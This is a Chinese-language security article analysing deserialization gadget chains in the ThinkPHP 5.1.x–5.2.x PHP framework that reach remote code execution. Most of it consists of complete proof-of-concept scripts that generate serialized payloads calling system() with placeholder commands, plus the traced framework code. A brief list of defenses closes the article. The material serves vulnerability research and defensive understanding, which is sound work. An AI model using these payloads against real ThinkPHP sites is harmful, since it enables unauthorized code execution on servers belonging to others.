thinkphp5.1.x~5.2.x版本反序列化链挖掘分析
字数 943 2025-08-26 22:11:28
ThinkPHP 5.1.x~5.2.x 反序列化链分析与利用
前言
本文详细分析ThinkPHP 5.1.x和5.2.x版本中的反序列化漏洞利用链,通过挖掘PHP魔术方法和普通方法中的敏感函数调用点,构建完整的POP(Property-Oriented Programming)链实现远程代码执行。
环境准备
- ThinkPHP 5.1.38 / 5.2.x
- PHP 7.2
反序列化漏洞基础
反序列化漏洞通常利用PHP中的魔术方法触发:
__construct(): 对象创建时调用__destruct(): 对象销毁时调用__wakeup(): 反序列化前调用__toString(): 对象被当作字符串使用时调用__call(): 调用不存在的方法时触发
ThinkPHP 5.1.x 反序列化链分析
利用链概览
\think\process\pipes\Windows.php -> __destruct()
\think\process\pipes\Windows.php -> removeFiles()
Windows.php: file_exists()
\think\model\concern\Conversion.php -> __toString()
\think\model\concern\Conversion.php -> toJson()
\think\model\concern\Conversion.php -> toArray()
\think\model\concern\Attribute.php -> getAttr()
\think\model\concern\Attribute.php -> getData()
\think\Request.php -> __call()
\think\Request.php -> isAjax()
\think\Request.php -> param()
\think\Request.php -> input()
\think\Request.php -> filterValue()
详细分析
- 入口点 - Windows类的__destruct()
namespace think\process\pipes;
class Windows {
private $files = [];
public function __construct() {
$this->files = [new Pivot()];
}
public function __destruct() {
$this->removeFiles();
}
private function removeFiles() {
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
}
}
- 触发__toString()
file_exists()会将对象作为字符串处理,触发Pivot对象的__toString()方法。
- Conversion类的__toString()
namespace think\model\concern;
trait Conversion {
public function __toString() {
return $this->toJson();
}
public function toJson() {
return json_encode($this->toArray());
}
public function toArray() {
// 关键点:处理append属性
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name); // 触发__call()
}
}
}
}
}
}
- Attribute类的getAttr()
namespace think\model\concern;
trait Attribute {
public function getAttr($name) {
$value = $this->getData($name);
return $this->getValue($name, $value);
}
public function getData($name) {
if (array_key_exists($name, $this->data)) {
return $this->data[$name]; // 返回Request对象
}
}
}
- Request类的__call()
namespace think;
class Request {
protected $hook = [];
protected $filter = "system";
protected $config = ['var_ajax' => '_ajax'];
public function __call($method, $args) {
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}
}
public function isAjax($ajax = false) {
return $this->param($this->config['var_ajax']);
}
public function param($name = '') {
return $this->input($this->param, $name);
}
public function input($data = [], $name = '', $filter = '') {
$filter = $this->getFilter($filter);
$this->filterValue($data, $name, $filter);
}
private function filterValue(&$value, $key, $filters) {
foreach ($filters as $filter) {
if (is_callable($filter)) {
$value = call_user_func($filter, $value); // RCE
}
}
}
}
5.1.x POC
<?php
namespace think;
abstract class Model {
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["lin" => ["calc.exe", "calc"]];
$this->data = ["lin" => new Request()];
}
}
class Request {
protected $hook = [];
protected $filter = "system";
protected $config = ['var_ajax' => '_ajax'];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax" => 'lin'];
$this->hook = ["visible" => [$this, "isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows {
private $files = [];
public function __construct() {
$this->files = [new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model {}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
ThinkPHP 5.2.x 反序列化链分析
5.2.x版本移除了Request类的__call()方法,需要寻找替代方案。
方法一:利用Attribute类的getValue()
利用链
think\process\pipes\Windows->__destruct()
think\process\pipes\Windows->removeFiles()
think\model\concern\Conversion->__toString()
think\model\concern\Conversion->toJson()
think\model\concern\Conversion->toArray()
think\model\concern\Attribute->getAttr()
think\model\concern\Attribute->getValue()
关键点
protected function getValue(string $name, $value, bool $relation = false) {
$fieldName = $this->getRealFieldName($name);
if (isset($this->withAttr[$fieldName])) {
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data); // 动态函数调用
}
return $value;
}
POC
<?php
namespace think\process\pipes {
class Windows {
private $files;
public function __construct($files) {
$this->files = [$files];
}
}
}
namespace think\model\concern {
trait Conversion {}
trait Attribute {
private $data;
private $withAttr = ["lin" => "system"];
public function get() {
$this->data = ["lin" => "ls"];
}
}
}
namespace think {
abstract class Model {
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model {
use think\Model;
class Pivot extends Model {
public function __construct() {
$this->get();
}
}
}
namespace {
$conver = new think\model\Pivot();
$payload = new think\process\pipes\Windows($conver);
echo urlencode(serialize($payload));
}
?>
方法二:利用SerializableClosure
使用Opis\Closure的SerializableClosure实现更灵活的命令执行。
POC
<?php
namespace think;
require __DIR__ . '/vendor/autoload.php';
use Opis\Closure\SerializableClosure;
abstract class Model {
private $data = [];
private $withAttr = [];
function __construct(){
$this->data = ["lin" => ''];
$this->withAttr = ['lin' => new SerializableClosure(function(){
system('ls');
})];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model {}
namespace think\process\pipes;
use think\model\Pivot;
class Windows {
private $files = [];
public function __construct() {
$this->files = [new Pivot()];
}
}
echo urlencode(serialize(new Windows()));
?>
方法三:利用Db类和文件包含
需要已知路径并能上传PHP文件。
利用链
think\process\pipes\Windows->__destruct()
think\process\pipes\Windows->removeFiles()
think\model\concern\Conversion->__toString()
think\model\concern\Conversion->toJson()
think\model\concern\Conversion->toArray()
think\model\concern\Attribute->getAttr()
think\Db->__call()
think\Url->__construct()
POC
<?php
namespace think;
class App {
protected $runtimePath;
public function __construct(string $rootPath = ''){
$this->runtimePath = "D:/phpstudy/PHPTutorial/WWW/thinkphp/tp5.2/";
$this->route = new \think\route\RuleName();
}
}
class Db {
protected $connection;
protected $config;
function __construct(){
$this->config = ['query' => '\think\Url'];
$this->connection = new \think\App();
}
}
abstract class Model {
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["lin" => []];
$this->data = ["lin" => new \think\Db()];
}
}
namespace think\route;
class RuleName {}
namespace think\model;
use think\Model;
class Pivot extends Model {}
namespace think\process\pipes;
use think\model\Pivot;
class Windows {
private $files = [];
public function __construct() {
$this->files = [new Pivot()];
}
}
echo urlencode(serialize(new Windows()));
?>
防御措施
- 避免反序列化用户可控的数据
- 及时更新ThinkPHP到最新版本
- 对魔术方法中的敏感操作进行严格检查
- 使用白名单限制可反序列化的类
总结
ThinkPHP反序列化漏洞的核心在于通过精心构造的POP链,利用框架中的魔术方法和敏感函数调用实现代码执行。理解这些利用链有助于开发者更好地防范此类漏洞,同时也为安全研究人员提供了漏洞挖掘的思路。